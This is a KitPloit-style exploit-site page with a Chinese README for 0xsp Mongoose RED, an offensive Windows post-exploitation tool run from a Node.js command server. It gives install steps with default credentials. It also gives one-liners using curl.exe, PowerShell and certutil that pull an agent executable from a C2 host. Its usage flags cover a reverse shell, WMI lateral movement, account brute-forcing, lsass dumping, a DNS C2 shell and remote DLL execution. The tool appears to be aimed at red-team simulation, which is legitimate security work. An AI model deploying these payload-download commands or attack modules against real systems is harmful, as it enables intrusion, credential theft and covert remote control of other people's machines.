Sploitus

Exploit Code

MARKDOWN146 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-ZUX0X3A-0XSP-MONGOOSE
![GPLv3 license](https://img.shields.io/badge/License-GPLv3-blue.svg) ![](https://img.shields.io/badge/join-telegram-blue) ![](https://img.shields.io/badge/build%20with-Lazarus-red.svg) ![](https://raw.githubusercontent.com/lawrenceamer/0xsp-Mongoose/0xsp-red/lg.png?raw=true) ![](https://img.shields.io/badge/join-discord-orange) ![](https://img.shields.io/twitter/follow/zux0x3a?label=follow&style=social)

支持项目的持续开发 (ETH **0xf340c15c5e669a4ababab856e9f2bccd659d6e42**)

# 用于 Windows 的 0xsp Mongoose RED

当前版本 **2.2.0**

0xsp mongoose red 版本旨在协助您在网络安全模拟中的需求,使用此版本,您将能够审计目标 Windows 操作系统,查找系统漏洞、错误配置和权限提升攻击,并复制网络中高级对手的战术和技术。

借助 Node.js 对 Web 应用程序 API 的支持,安装和定制变得更加及时便捷。Windows 传感器代理将与应用程序 API 通信,以双向技术传输结果并接收命令。

该代理能够通过使用 `Windows 更新 API` 和 `漏洞利用数据库定义` 模块来识别和检测 Windows 漏洞。新版本还将检测以下漏洞。

  * CVE-2019-0836
  * CVE-2019-0841
  * CVE-2019-1064
  * CVE-2019-1130
  * CVE-2019-1253
  * CVE-2019-1385
  * CVE-2019-1388
  * CVE-2019-1405
  * CVE-2019-1315
  * CVE-2020-0787
  * CVE-2020-0796
  * CVE-2020-0797
  * CVE-2020-1472
  * CVE-2021-1675



## 功能

  * Windows 权限提升扫描技术。
  * 基于 NodeJS 构建的 Web 应用程序
  * 支持 sqlite 数据库
  * 横向移动技术。视频
  * 双向通信通道。视频
  * 在线打包插件。
  * 增强的漏洞检测脚本引擎。
  * Windows 账户暴力破解模块(本地/域)
  * run-as-user Windows API 函数的武器化。视频
  * 本地网络扫描和共享枚举。
  * lsass 内存转储技术(插件)。
  * DNS C2C 交互式 shell 模式



### 安装

root@kitploit:~
    
    
    git clone --single-branch --branch 0xsp-red https://github.com/lawrenceamer/0xsp-mongoose 
    cd 0xsp-mongoose/ 
    npm install 
    node index.js
    

默认访问凭据:

  * 用户名 : admin
  * 密码 : 0xsp



![](https://assets.kitploit.com/production/public/readmes/6701/14635929df92cdb12c2a209eac923f7bd2d291c35d9a7bc493df5811d82f72a8.png)

### DNS C2C Python 脚本

root@kitploit:~
    
    
    touch temp.txt
    python3 dns_server.py -d DOMAIN -a PUBLICIP -i INTERFACEIP
    

### 快速部署代理

root@kitploit:~
    
    
    #example 1 
    curl.exe -o agent.exe http://nodejsip:4000/release/x64.exe
    #example 2 
    powershell.exe -command (new-object net.webclient).downloadfile('http://nodejsip:4000/release/x64.exe','c:\tmp\agent.exe');
    #example 3 
    certutil.exe -urlcache -split -f "http://nodejsip:4000/release/x64.exe" agent.exe
    

### 用法

root@kitploit:~
    
    
    -s --检索 Windows 服务和已安装的驱动程序。
    -u --检索用户、组、角色的信息。
    -c --通过扩展名搜索已连接的驱动器中包含敏感配置文件的驱动。
    -n --检索网络信息、网络接口、连接详情。
    -w --枚举可写目录、访问权限检查、修改后的权限。
    -i --枚举 Windows 系统信息、会话、始终提升检查。
    -l --在文件中搜索特定字符串,例如:agent.exe -l c:\ password *.config。
    -o --指定 NodeJS 应用程序的主机地址,也可以使用 srvhost
    -p --枚举已安装的软件、正在运行的进程、任务。
    -e --内核检查工具,帮助通过工具数据库搜索 Windows 内核漏洞。
    -x --密码,用于授权与 NodeJS 应用程序的连接。
    -d --直接下载文件到目标机器。
    -t --从目标机器上传文件到 NodeJS 应用程序。
    -spooler --扫描单个主机或主机列表以查找可能的 CVE-2021-1675(例如 -spooler -srvhost 或 -spooler -hosts)
    -m --同时运行所有已知的扫描类型。
    
    [!] 红色团队战术部分
    
    -r --使用特定账户生成反向 shell。
    -lr --使用 WMI 进行横向移动技术(例如 -lr -host 192.168.14.1 -username administrator -password blabla -srvhost nodejsip)
    -nds --网络发现和共享枚举
    -dns --建立交互式 DNS C2C shell
    -cmd --通过 HTTP Shell 传输命令
    -interactive --启动交互模式(例如:加载插件等)
    -username --特定攻击模块的身份认证。
    -password --特定攻击模块的身份认证。
    -host --指定要攻击的远程主机。
    -srvhost --设置 NodeJS 应用程序的远程主机。
    -bf --本地用户/域用户暴力破解模块。
    -import --导入并在本地执行 DLL 文件。
    -remote --从远程主机导入并执行 DLL 文件。
    

### 文档

https://0xsp.com/security%20dev/0xsp-mongoose-red

### 详细研究网站

https://0xsp.com

### 安全会议

  * Standoff365 - 俄罗斯 (https://standoff365.com/conferences/357)



### 工具教程

请确保订阅以下频道,以便在发布新的 0xsp 教程和技巧时收到通知。 https://www.youtube.com/channel/UCoEr6Qsyd6oMsPmaJPQ_FOg